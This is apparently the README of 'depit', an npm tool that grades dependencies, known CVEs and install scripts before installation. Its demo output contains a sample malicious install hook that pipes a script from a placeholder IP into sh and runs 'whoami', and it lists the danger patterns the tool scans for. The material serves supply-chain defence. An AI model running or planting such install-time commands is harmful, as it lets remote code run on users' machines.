@davesheffer/depit

depit

Should I install this? See what a single npm dependency really drags in — packages, disk, and the install scripts that run code on your machine — before you run npm install.

npx depit express

  should i install express ?

  📦 68 packages added        (28 direct, you asked for 1)
  👤 38 maintainers you'd be trusting
  💾 2.0 MB on disk
  ✓  no install scripts
  🕰  oldest dep last shipped 11y ago — ee-first (26 stale, 2y+)
  ──────────────────────────────────────────────
  GRADE  B   "some deps haven't shipped in years — may be unmaintained."
  resolved like npm — highest version satisfying each range

You asked for 1 package. You got 68. That's the npm deal — and most of the time you never look. depit makes you look, in two seconds, with no install.

Or audit your whole app at once — run it with no argument in any project:

npx depit

  should i trust my-app's dependencies ?

  📦 266 packages in the tree        (3 direct deps) · 233 unique names
  👤 135 maintainers you'd be trusting
  💾 13 MB on disk
  ⚠  1 package runs code on your machine at install:
     node-sass
       postinstall: node scripts/build.js
  🪦 12 deprecated package(s)
  🕰  oldest dep last shipped 13y ago — async-foreach (208 stale, 2y+)
  ──────────────────────────────────────────────
  GRADE  D   "..."

That's your entire dependencies + devDependencies tree — every maintainer you trust and every install script that runs — in two seconds, no install.

Why

Every npm install is a trust decision you make blind:

• You add 1 package, you trust 68 — and 38 maintainers you've never heard of. Each is code, and a person with publish rights, that ends up in your app.
• Some run scripts on your machine the moment they install (postinstall, preinstall). That's the exact door supply-chain attacks walk through.
• Some are deprecated or abandoned — depit shows the oldest dep's last publish, so "last shipped 11 years ago" stops being a surprise after it's in your lockfile.

depit answers all of that before you commit, straight from the npm registry. No install. No node_modules. No dependencies of its own.

Real CVEs — not guesses

depit checks every resolved package against npm's own advisory database (the same data npm audit uses) and matches the exact vulnerable version ranges across the whole tree — transitive deps included. No Snyk account, no AI that might hallucinate a CVE, no token.

npx depit lodash@4.17.4

  🛡  10 known vulnerabilities (1 critical, 4 high, 5 moderate)
     [critical] lodash@4.17.4 Prototype Pollution in lodash
     [high]     lodash@4.17.4 Command Injection in lodash
  ──────────────────────────────────────────────
  GRADE  F   "5 serious known vulnerabilities in the tree (1 critical, 4 high) — patch or avoid."

A critical CVE alone forces an F (exit 2), so it gates CI. Install a patched range and the card goes green.

The killer feature: it shows you the actual install script

Other tools tell you a package has an install script. depit shows you the exact command that will run on your machine — and flags it if it reaches the network, pipes to a shell, evals, or reads your env.

A legit native build looks calm:

npx depit node-sass

  ⚠  1 package runs code on your machine at install:
     node-sass
       install:     node scripts/install.js
       postinstall: node scripts/build.js

A package doing something it shouldn't lights up red:

  ⚠  2 packages run code on your machine at install:
     evil-demo 🚨 dynamic-exec, network, pipe-to-shell
       install:     node -e "require('child_process').exec('whoami')"
       postinstall: curl http://198.51.100.9/x.sh | sh
     helper
       postinstall: node build.js
  ────────────────────────────────────────
  GRADE  F   "an install script is flagged for dynamic-exec, network,
              pipe-to-shell — read the command above before you trust it."

npm install runs these before any of your own code — it's the exact door supply-chain attacks walk through. depit reads the literal command straight from the registry (no install, no tarball download) and scans it for:

network · pipe-to-shell · dynamic-exec · obfuscation · reads-env · destructive/recon

So "I'll just install it" becomes a decision instead of a reflex.

Usage

npx depit <package>      # audit one package before you add it
npx depit react
npx depit @scope/name
npx depit left-pad@1.3.0  # pin a version or range
npx depit express@^5      # ranges work — resolved like npm

npx depit                 # no arg → audit ./package.json's whole tree

No flags to learn. Run it, read the card, move on.

Exit codes (gate it in CI)

code	meaning
0	grade A–D
2	grade F — risky
1	package not found / network error

# fail a PR that tries to add a package graded F
npx depit "$NEW_DEP" || exit 1

What the grade means

Starts at 100, loses points for:

• known CVEs — critical −25, high −12, moderate −4, low −1 (from npm's advisory data, matched across the whole tree). A single critical forces F.
• flagged install scripts (up to −40 each) — scaled by how many danger signals one command trips (network, pipe-to-shell, eval…). This is the only thing that can sink a package to F on its own — danger, not size.
• install scripts (−5 each) — benign native builds are a mild nudge, not a death sentence
• deprecated packages (−5 each)
• stale packages (−2 each) — no publish in 2+ years
• disk weight (up to −12) and dependency count (up to −15) — bloat is a nudge, not a verdict

Maintainer count and oldest-publish age are shown for context (they're the who and how-fresh of what you're trusting); they inform the quip but don't directly move the grade.

A install with confidence · B fine · C look closer · D heavy · F real risk — read the install script.

How it works

Hits the npm registry packument endpoint and walks the dependency graph in parallel — one request per unique package, covering deps, size, install scripts, maintainers, and publish dates in a single fetch. Every dependency range is resolved the way npm does — the highest published version that satisfies it — with its own zero-dependency semver matcher (cross-checked against node-semver for parity), and the tree is deduped by name@version, so the package count reflects what actually lands in node_modules. Nothing is installed and nothing touches disk.

Zero runtime dependencies. Node 18+.

Install (optional)

npx depit <pkg> needs no install. If you want it on your PATH:

npm i -g depit

How it compares

	depit	npq	should-install	howfat
Real CVEs (npm advisories)	✅	via Snyk	AI-guessed	❌
Shows the literal install-script command	✅	❌ (warns only)	❌	❌
Install-script danger scan (network/eval/…)	✅	❌	❌	❌
npm-accurate dependency resolution	✅	n/a	n/a	✅
Whole-project audit + letter grade	✅	❌	✅ (AI)	❌
Maintainers / staleness signals	✅	partial	✅	❌
Runtime dependencies	0	4	5	5
Needs an account / API key / AI CLI	no	Snyk optional	yes (AI)	no
Deterministic (same answer every run)	✅	✅	❌	✅
Changes your workflow	no (read-only)	yes (npq install)	no	no

depit is the only one that is zero-dependency, needs nothing installed, and shows you the exact command an install script will run — backed by real advisory data instead of an AI's best guess.

License

MIT